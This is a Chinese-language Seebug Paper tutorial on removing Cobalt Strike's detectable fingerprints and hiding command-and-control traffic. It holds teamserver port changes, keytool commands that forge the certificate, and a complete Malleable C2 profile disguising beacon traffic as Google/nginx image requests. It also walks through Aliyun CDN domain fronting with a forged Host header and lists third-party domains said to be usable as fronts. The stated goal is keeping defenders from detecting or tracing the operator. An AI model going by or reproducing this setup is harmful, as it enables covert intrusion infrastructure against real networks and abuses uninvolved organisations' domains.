作者:Keyi
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送!
投稿郵箱:paper@seebug.org

Cobalt Strike簡介

Cobalt Strike is software for Adversary Simulations and Red Team Operations. Cobalt Strike 簡稱CS, A-team詳細介紹使用網址。CS是一款優秀的后滲透工具,可以在獲取主機權限后進行長久權限維持,快速進行內網提權,憑據導出等。在后滲透中如果未修改特征,容易被流量審計設備監控,被藍隊溯源。 多人運動來不來-w936

去除特征的三種方式

1.修改默認端口

第一種是直接編輯teamserver進行啟動項修改。 - ./teamserver 1.1.1.1 password 直接修改teamserver vim teamserver -w895

第二種是啟動的時候指定server_port端口

- java -XX:ParallelGCThreads=4 -Duser.language=en -Dcobaltstrike.server_port=50505 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -Xmx1024m -classpath ./cobaltstrike.jar server.TeamServer xxx.xxx.xx.xx test google.profile

2.去除證書特征

進入cs目錄。 -w744

查看keytool -list -v -keystore cobaltstrike.store 證書情況,輸入默認密碼123456回車,可以看到所有者、發布者中Cobalt Strike相關字樣。

-w807

keytool是一個Java 數據證書的管理工具,使用如下: keytool -keystore cobaltstrike.store -storepass 密碼 -keypass 密碼 -genkey -keyalg RSA -alias google.com -dname "CN=(名字與姓氏), OU=(組織單位名稱), O=(組織名稱), L=(城市或區域名稱), ST=(州或省份名稱), C=(單位的兩字母國家代碼)。

example: keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias google.com -dname "CN=US, OU=google.com, O=Sofaware, L=Somewhere, ST=Cyberspace, C=CN"

-w821

未修改cobaltstrike.store前: -w906

修改cobaltstrike.store后,可以看到cobalt strike等關鍵字樣已經去除: -w761

google.profile模版可以參考C2.profilemalleable-c2 設置后,可以看到訪問/image/后已經返回的是我們設置好的header 了 "Content-Type" "img/jpg"; "Server" "nginx/1.10.3 (Ubuntu)";

-w1273

部分引用源碼如下:

#
# cs profile
#   http://www.secureworks.com/cyber-threat-intelligence/threats/secrets-of-the-comfoo-masters/
#   https://github.com/rsmudge/Malleable-C2-Profiles/
# Author: @keyi
#

set sample_name "google";

set sleeptime "5000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

    set uri "/image/";

    client {

        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
        header "Referer" "http://www.google.com";
        header "Pragma" "no-cache";
        header "Cache-Control" "no-cache";

        metadata {
            netbios;
            append "-.jpg";
            uri-append;
        }
    }

    server {

        header "Content-Type" "img/jpg";
        header "Server" "nginx/1.10.3 (Ubuntu)";

        output {
            base64;
            print;
        }
    }
}

http-post {
    set uri "/history/";

    client {

        header "Content-Type" "application/octet-stream";
        header "Referer" "http://www.google.com";
        header "Pragma" "no-cache";
        header "Cache-Control" "no-cache";

        id {
            netbiosu;
            append ".asp";
            uri-append;
        }

        output {
            base64;
            print;
        }
    }

    server {

        header "Content-Type" "img/jpg";
        header "Server" "Microsoft-IIS/6.0";
        header "X-Powered-By" "ASP.NET";

        output {
            base64;
            print;
        }
    }
}

3.修改Cobalt Strike dns_idle

0.0.0.0是Cobalt Strike DNS Beacon特征可設置Malleable C2進行修改 輸入set dns_idle "8.8.8.8";


域前置

原理

域前置(英語:Domain fronting),是一種隱藏連接真實端點來規避互聯網審查的技術。在應用層上運作時,域前置使用戶能通過HTTP連接到白名單域名(如*.google.cn),無直接與C2服務器的通信。 介紹:被攻擊機器 -> www.microport.com(走aliyun cdn的域名,根據設定的host頭: dns.google.cn找到對應的vps_ip) -> cdn流量轉發到vps_ip(c2真實地址) -w804

實戰配置CDN

購買云服務器,開通CDN服務。 加速域名:隨便填個高信譽的域名實現域名偽造,例如:oss.microsoft.comdns.google.com之類的。

登陸aliyun。 -w1296

在IP位置填寫cs_teamserver的IP地址。 -w682

配置c2的Stager的域名為走cdn的地址,如:www.microport.com.cn

www.microport.com.cn這種是走aliyun cdn的。其中dns.google.cn是偽造的域名地址,目的是目標機器訪問cdn的時候可以根據google.cn特征找到對應的vps_ip。 有沒人跟我有相同的疑問,這個走aliyun的cdn域名如何獲取。這邊波師傅給我提供了一些,可能域名作廢或者不走cdn了,大家可以根據curl做一下測試。

admin.bjexpo.com
admin.cailianpress.com
admin.cheyian.com
admin.cydf.com
admin.ebp2p.com
admin.k3.cn
admin.ks5u.com
admin.kyjxy.com
admin.lezi.com
admin.weiba66.com
admin.wuzhenfestival.com
admin.xingfujie.cn
admin.yxp2p.com
anxin360.com
api.3658mall.com
api.bjexpo.com
api.cheyian.com
api.cydf.com
api.ebp2p.com
api.ks5u.com
api.kyjxy.com
api.lanjinger.com
api.my089.com
api.thecover.cn
api.uiyi.cn
api.utcard.cn
api.weiba66.com
api.wuzhenfestival.com
api.xingfujie.cn
api.yxp2p.com
api.zaozuo.com
app.bjexpo.com
app.chanjet.com
app.cheyian.com
app.ebp2p.com
app.eeo.com.cn
app.gfedu.cn
app.guojimami.com
app.hao24.cn
app.hrmarket.net
app.k3.cn
app.kyjxy.com
app.lanjinger.com
app.lezi.com
app.meiduimall.com
app.sanqin.com
app.sanqin.com

配置成功后,輸入 curl -v "www.microport.com/een" -H "Host:dns.google.cn" 可以查看cs的weblog,看見請求/een的日志,證明配置成功。 -w515

cs生成Windows exe,運行成功上線.可以看到14.17.67.46 東莞IP上線。無直接跟c2連接的域名信息,這樣來說藍隊在防守的時候看到的是白名單域名,并且也無法溯源到我們真實的vps地址。 -w1361

參考

Cobalt Strike特征修改


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1349/